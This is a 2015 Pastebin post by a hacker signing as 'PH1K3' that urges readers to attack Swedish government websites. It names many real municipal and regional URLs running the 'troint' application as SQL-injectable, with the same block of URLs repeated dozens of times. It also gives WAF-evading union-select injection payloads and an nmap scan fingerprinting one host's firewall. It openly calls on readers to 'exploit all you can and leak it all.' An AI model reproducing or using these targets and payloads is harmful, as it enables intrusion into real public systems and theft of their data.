Guest User

PH1K3 swe vulns

a guest
Mar 5th, 2015
891
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. copie:https://www.quickleak.org/4H5m8WOs
  2. copie:https://ghostbin.com/paste/c63j6
  3.  
  4.  
  5.  
  6. N i do this for you my beloved sister<3
  7. ________ ___ ___ _____ ___ __ ________
  8. |\ __ \|\ \|\ \ / __ \|\ \|\ \ |\_____ \ FREE ANAKATA and the swedish people
  9. \ \ \|\ \ \ \\\ \|\/_|\ \ \ \/ /|\|____|\ /_
  10. \ \ ____\ \ __ \|/ \ \ \ \ ___ \ \|\ \
  11. \ \ \___|\ \ \ \ \ \ \ \ \ \\ \ \ __\_\ \ dont worry bro -=>PH1K3<=- got your back!
  12. \ \__\ \ \__\ \__\ \ \__\ \__\\ \__\|\_______\
  13. \|__| \|__|\|__| \|__|\|__| \|__|\|_______|
  14.  
  15. nothin can stop a phreaker and a hacker
  16.  
  17. This is for all you out their who want to revenge anakata or fuck with the swedish gov!
  18.  
  19. the social service in sweden is corrupt !
  20. and its time to take action rather then waiting for others to do so.
  21.  
  22. link to proof of corrupt the social service is:http://pastebin.com/49Kprquk
  23.  
  24. Read all before you try to exploit
  25.  
  26. The vuln i found can be exploited using sqli
  27.  
  28. btw the swedish gov is gonna try to fix this bug i found as soon as they see this so exploit all you can and leak it all!
  29.  
  30.  
  31. Vuln sites:
  32. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=96%27
  33. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=96%27
  34. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=200%27
  35. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=200%27
  36. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=1861%27
  37. http://www9.goteborg.se/fortroendevalda/detail_namndstyrelse.asp?namnd=1861%27
  38. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=rf%27
  39. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=rf%27
  40. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=H%E5llbar%20utv%27
  41. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=H%E5llbar%20utv%27
  42. http://web1.kalmar.se/troint/detail_namndstyrelse.asp?namnd=OFN%27
  43. http://web1.kalmar.se/troint/detail_namndstyrelse.asp?namnd=OFN%27
  44. http://www.gbg.sv.se/event/Evenemang.asp?Inc=Anmalan&ID=346
  45. http://www2.osthammar.se/troint/detail_namndstyrelse.asp?namnd=KS
  46. http://www2.osthammar.se/troint/detail_namndstyrelse.asp?namnd=KS%27
  47. http://www.haninge.se/troint/detail_namndstyrelse.asp?namnd=ks%27
  48. http://troint.hoganas.se/troint/detail_namndstyrelse.asp?namnd=KS%27
  49. http://troint.helsingborg.se/troint/detail_namndstyrelse.asp?namnd=110%27
  50. http://webbapp.uppsala.se/Troint/detail_namndstyrelse.asp?namnd=ks%27
  51. http://webbapp.uppsala.se/Troint/detail_namndstyrelse.asp?namnd=bun%27
  52. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=rf%27
  53. http://www.orkelljunga.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  54. http://trointweb.kommun.kiruna.se/troint/detail_namndstyrelse.asp?namnd=KS%27
  55. http://troint.net.umea.se/troint/detail_namndstyrelse.asp?namnd=KOMM%27
  56. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=AL%27
  57. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=H%E5llbar%20utv%27
  58. http://troint.svalov.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  59. http://troint.ljusdal.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  60. http://www2.sundsvall.se/troint/detail_namndstyrelse.asp?namnd=TINGSR%C4TTEN%27
  61. http://www.emmaboda.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  62. http://troint.landskrona.se/troint/detail_namndstyrelse.asp?namnd=INVEST%27
  63. http://infobank.nacka.se/troint/detail_namndstyrelse.asp?namnd=UBN%27
  64. http://troint.eslov.se/Troint/detail_namndstyrelse.asp?namnd=kf%27
  65. http://troint.upplandsvasby.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  66. http://troint.lul.se/troint/detail_namndstyrelse.asp?namnd=LTFU%27
  67. http://politiker.sigtuna.se/troint/detail_namndstyrelse.asp?namnd=N%C3%A4mnde%27
  68. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  69. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  70. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  71. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  72. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  73. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  74. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  75. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  76. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  77. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  78. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  79. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  80. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  81. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  82. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  83. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  84. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  85. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  86. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  87. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  88. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  89. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  90. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  91. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  92. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  93. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  94. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  95. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  96. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  97. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  98. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  99. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  100. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  101. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  102. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  103. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  104. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  105. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  106. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  107. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  108. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  109. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  110. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  111. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  112. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  113. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  114. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  115. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  116. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  117. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  118. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  119. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  120. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  121. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  122. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  123. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  124. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  125. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  126. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  127. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  128. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  129. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  130. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  131. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  132. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  133. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  134. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  135. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  136. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  137. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  138. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  139. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  140. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  141. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  142. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  143. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  144. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  145. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  146. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  147. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  148. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  149. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  150. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  151. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  152. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  153. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  154. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  155. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  156. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  157. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  158. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  159. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  160. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  161. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  162. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  163. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  164. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  165. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  166. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  167. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  168. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  169. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  170. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  171. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  172. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  173. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  174. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  175. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  176. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  177. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  178. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  179. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  180. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  181. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  182. http://www.kramfors.se/troint/detail_namndstyrelse.asp?namnd=KIAB%27
  183. http://webklx01.kalix.se/troint/detail_namndstyrelse.asp?namnd=STYKF%C3%96RETAG%27
  184. http://troint.kungsbacka.se/troint/detail_namndstyrelse.asp?namnd=BN%27
  185. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=KF%27
  186. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Norrlandsf%27
  187. http://www2.lycksele.se/troint/detail_namndstyrelse.asp?namnd=Kf%27
  188. http://troint.botkyrka.se/troint/detail_namndstyrelse.asp?namnd=KSL
  189. http://troint.botkyrka.se/troint/detail_namndstyrelse.asp?namnd=ksl-2
  190. http://troint.sundbyberg.se/troint/detail_namndstyrelse.asp?namnd=ksl
  191. http://portal.ekero.se/troint/detail_namndstyrelse.asp?namnd=KOM-F
  192. http://politiker.sigtuna.se/troint/detail_namndstyrelse.asp?namnd=Museum
  193. http://troint.lul.se/troint/detail_namndstyrelse.asp?namnd=SAU
  194. http://cfwebb.vgregion.se/troint/detail_namndstyrelse.asp?namnd=Str%E5lbeh&PrmUppdrag=ers&FullDetail=
  195. http://app.vallentuna.se/troint/detail_namndstyrelse.asp?namnd=LVF
  196. http://troman.nll.se/troint/detail_namndstyrelse.asp?namnd=Lt%20%C3%B6ms%20fb
  197. http://www2.osthammar.se/troint/detail_namndstyrelse.asp?namnd=KS
  198. roint.landskrona.se/troint/detail_namndstyrelse.asp?namnd=KR
  199. http://diarium.ltkalmar.se/troint/detail_namndstyrelse.asp?namnd=SkattMalm%F6&nSORT=DESC
  200. http://diarium.ltkalmar.se/troint/detail_namndstyrelse.asp?namnd=SkattMalm%F6
  201.  
  202. police ---> http://troint.botkyrka.se/troint/detail_namndstyrelse.asp?namnd=POLIS
  203.  
  204. http://diarium.ltkalmar.se/troint/detail_namndstyrelse.asp?namnd=SkattMalm%F6
  205. http://troint.helsingborg.se/troint/detail_namndstyrelse.asp?namnd=101
  206. http://troint.helsingborg.se/troint/detail_namndstyrelse.asp?namnd=110
  207. http://cfwebb.vgregion.se/troint/troman_lista.asp
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214. the vuln:
  215.  
  216.  
  217. they usage an opensource table/application called troint,its pretty bad coded but its free haha..
  218.  
  219. this php application is vuln to sqli!
  220. i found this using the dork:.se/troint/detail_namndstyrelse.asp?
  221.  
  222. troint:
  223. link:http://www.troint.se
  224.  
  225.  
  226.  
  227.  
  228. when exploited: you have to do it manually so sqlmap doesnt work(what a bummer right?..)
  229.  
  230. why cant we exploit it with sqlmap? cuz they have a waf(webb application firewall) that blocks request
  231.  
  232. bypassing it:
  233.  
  234.  
  235. here is a great paper on how to bypass a firewall and sqli:http://www.exploit-db.com/papers/17934/
  236.  
  237. insteed of union select 1,2,3--
  238. '/*!uNiOn*//*!sElEcT*/1--+
  239. '/*!uNiOn*//*!sElEcT*/2--+
  240. '/*!uNiOn*//*!sElEcT*/3--+
  241. and so on until u got all the tables
  242.  
  243. Their firewall:
  244.  
  245. Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-05 16:38 CET
  246. Nmap scan report for vip09.vgregion.se (192.71.67.109)
  247. Host is up (0.070s latency).
  248. Not shown: 999 filtered ports
  249. PORT STATE SERVICE
  250. 80/tcp open http
  251. | http-waf-fingerprint:
  252. | Detected WAF
  253. |_ ISA Server
  254.  
  255. Nmap done: 1 IP address (1 host up) scanned in 14.30 seconds
RAW Paste Data